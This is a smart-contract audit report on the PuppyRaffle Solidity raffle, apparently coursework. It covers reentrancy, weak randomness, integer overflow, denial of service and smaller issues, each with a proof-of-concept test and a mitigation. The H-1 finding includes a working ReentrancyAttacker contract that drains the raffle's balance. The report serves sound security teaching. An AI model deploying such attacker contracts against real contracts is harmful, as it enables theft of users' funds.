PuppyRaffle Audit Report

Version 0.1

Cyfrin.io

January 28, 2024

Protocol Audit Report

amaqkkg

January 28, 2024

Prepared by: amaqkkg

Lead Auditors:

- amaqkkg

Table of Contents

- Medium
  - [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is potential denial of service (DoS) attack, incrementing gas costs for future entrants
  - [M-2] Unsafe cast of `PuppyRaffle::fee` loses fees
  - [M-3] Smart contract wallets raffle winners without a `receive` or `fallback` function will block the start of a new raffle
- Low
  - [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for player at index 0, causing player at index 0 incorrectly think they have not entered the raffle
- Gas
  - [G-1] Unchanged state variables should be declared constant or immutable
  - [G-2] Storage variable in a loop should be cached
- Informational
  - [I-1]: Solidity pragma should be specific, not wide
  - [I-2] Using an outdated solidity version is not recommended
  - [I-3]: Missing checks for `address(0)` when assigning values to address state variables
  - [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice
  - [I-5] Use of "magic" number is discouraged
  - [I-6] `PuppyRaffle::_isActivePlayer` is never used and should be removed

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
   1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The amaqkkg team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Commit Hash:

```
22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Part of cyfrin updraft security research audit course.

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	6
Gas Optimizations	2
Total	15

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allow entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not have Checks, Effects, Interactions (CEI) and as a result, enables participant to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );
@>      payable(msg.sender).sendValue(entranceFee);
```

```
@>      players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle can have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and again to claim another refund. They can continue this cycle until the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. Users enter the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance

Proof of Code:

Code

Place the following into `PuppyRaffleTest.t.sol`

```
    function testReentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle
        );
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackerContractBalance = address(
           attackerContract)
            .balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        // attack
        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log(
            "Starting attacker contract balance: ",
```

```
            startingAttackerContractBalance
        );
        console.log("Starting contract balance: ",
            startingContractBalance);

        console.log(
            "Ending attacker contract balance: ",
            address(attackerContract).balance
        );
        console.log("Ending contract balance: ", address(puppyRaffle).
            balance);
    }
```

And this contract as well:

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally we should move the event emission up as well.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);

-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PupppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the rarity of the winning puppy

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together create a predictable number. A predictable number is not good for random number. Malicious user can try to affect the outcome of it by manipulating and calculating the outcome beforehand, then choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any users can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value because their address are being used to generated the winner.
3. Users can revert their `selectWinner` transaction if they do not like the winner or the resulting puppy.

Recommended Mitigation: Consider using cryptographically provable random number generator such as ChainLink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity prior to `0.8.0` integers were subject to integer overflows.

```
uint256 var = type(uint64).max
// 18446744073709551615
var = var + 1
// var will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` overflows, the `feeAddress` can not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We have 100 players enter the raffle
2. We conclude the raffle
3. Contract balance should have 20 ETH
4. `totalFees` should have 20 ETH too, but the actual will be 15.53 ETH :

```
totalFees = totalFees + uint64(fee);
// totalFees = 0 + uint64(20000000000000000000)
// totalFees will overflow
totalFees = 1553255926290448384; // 15.53 ETH
```

5. you will not able to withdraw, because `PuppyRaffle::withdrawFees` `require` contract balance equal to `totalFees`

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

attacker can also use `selfdestruct` to force send ETH to this contract, wheter making imbalance or match the `totalFees` and contract balance. But this is unlikely what the protocol intended to do. At some point, there will be too much contract balance and the `require` above would be hard to match, making it impossible to call `withdrawFees` successfully.

Proof of Code:

Code

Place the following test to `PuppyRaffleTest.t.sol`:

```
    function testOverflowRaffleTotalFees() public {
        // generating 100 players
        console.log("fee collected in totalFees: ", puppyRaffle.totalFees());
        address[] memory players = new address[](100);
        for (uint256 i = 0; i < 100; ++i) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * 100}(players);
        vm.warp(
            puppyRaffle.raffleStartTime() + puppyRaffle.raffleDuration() + 1
        );
        puppyRaffle.selectWinner();

        console.log(
            "Contract balance after selectWinner() : ",
            address(puppyRaffle).balance
        );
        console.log("fee collected in totalFees: ", puppyRaffle.totalFees());
        assert(address(puppyRaffle).balance != puppyRaffle.totalFees());
    }
```

Recommended Mitigation:

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `SafeMath` libraryu of OppenZeppelin for version 0.7.6 of solidity. However you would stil have hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffe::withdrawFees`

```
-   require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is potential denial of service (DoS) attack, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through `players` array to check for duplicates. However the more players there is, the longer the `PuppyRaffle::players` array is, making the checking duplicates longer and costly. This should makes players who entering the raffle later pay a lot more gas cost than the one who join early. Every additional address in the `players` array, is an additional check the loop should have to make.

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later user from entering, and causing a rush at the start of a raffle to be the first one in the queue.

An attacker might make the `PuppyRaffle::players` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such:

- 1st 100 players: ~6,252,039 gas
- 2nd 100 players: ~18,068,126 gas

This cost 3x more expensive for the second 100 players.

POC

Place the following test into `PuppyRaffleTest.t.sol`:

```
    function testDoSEnterRaffle() public {
        vm.txGasPrice(1);
        // first 100 players
        address[] memory players = new address[](100);
        for (uint256 i = 0; i < players.length; ++i) {
            players[i] = address(i);
        }
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * 100}(players);
        uint256 gasEnd = gasleft();

        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log(
            "Gas cost for first 100 players entering raffle is ",
            gasUsedFirst
        );

        // second 100 players
        address[] memory playersTwo = new address[](100);
        for (uint256 i = 0; i < playersTwo.length; ++i) {
            playersTwo[i] = address(i + 100);
        }
        gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * 100}(playersTwo);
        gasEnd = gasleft();

        uint256 gasUsedSecond = (gasStart - gasEnd) * tx.gasprice;
```

```
        console.log(
            "Gas cost for second 100 players entering raffle is ",
            gasUsedSecond
        );

        assert(gasUsedFirst < gasUsedSecond);
    }
```

Recommended Mitigation: There are few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyway, so duplicate checks doesn't prevent the same person from entering multiple times.
2. Consider using a mapping to check duplicates. This would allow constant time lookup of whether a user has already entered. You could have each raffle have a uint256 id, and the mapping would be a player address mapped to the raffle Id.
   Code

```diff
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public
        payable {
        require(msg.value == entranceFee * newPlayers.length, "
            PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
        }

-         // Check for duplicates
+        // Check for duplicates only from the new players
+        for (uint256 i = 0; i < newPlayers.length; i++) {
+           require(addressToRaffleId[newPlayers[i]] != raffleId,
"PuppyRaffle: Duplicate player");
+        }
-         for (uint256 i = 0; i < players.length; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
-                 require(players[i] != players[j], "PuppyRaffle:
Duplicate player");
-             }
-         }
        emit RaffleEnter(newPlayers);
    }
.
.
.
    function selectWinner() external {
```

```
+        raffleId = raffleId + 1;
         require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
```

3. Using OpenZeppelin's `EnumerableSet` library.

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle");

        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~`18` ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-3] Smart contract wallets raffle winners without a `receive` or `fallback` function will block the start of a new raffle

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. Howver if the winner is a smart contract that reject payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function would revert many times, making a lottery reset difficult.

Also true winners would not get paid out and someone else could take their money.

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function would not work, even though the lottery duration is over.

Recommended Mitigation:

1. Do not allow smart contract wallet entrant (not recommended)
2. Create a mapping of address -> payout so winners can pull their funds out themselves with a new `claimPrize` function, putting the owner on the winner to claim their prize (recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for player at index 0, causing player at index 0 incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0. According to natspec, it will also return 0 if the player is not in the array.

```
    function getActivePlayerIndex(address player) external view returns
        (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 incorrectly think they have not entered the raffle, and may attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is much more expensive than reading from a constant or immutable

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variable in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+ uint256 playersLength = players.length;
- for (uint256 i = 0; i < players.length - 1; i++) {
+ for (uint256 i = 0; i < playersLength - 1; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
+             for (uint256 j = i + 1; j < playersLength; j++) {
                  require(
                      players[i] != players[j],
                      "PuppyRaffle: Duplicate player"
                  );
              }
          }
```

Informational

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

  ```
  pragma solidity ^0.7.6;
  ```

[I-2] Using an outdated solidity version is not recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommended Mitigation: Deploy with any of the following Solidity versions:

`0.8.18` The recommendations take into account:

- Risks related to recent releases
- Risks of complex code generation changes
- Risks of new language features
- Risks of known bugs
- Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please check slither documentation for more information.

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 76

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 201

```
        previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 227

```
        feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice

It's better to keep code clean and follow Checks, Effects, Interactions (CEI).

```
+        _safeMint(winner, tokenId);
         (bool success, ) = winner.call{value: prizePool}("");
         require(success, "PuppyRaffle: Failed to send prize pool to winner");
-        _safeMint(winner, tokenId);
```

[I-5] Use of "magic" number is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead you could use:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;
```

[I-6] `PuppyRaffle::_isActivePlayer` is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```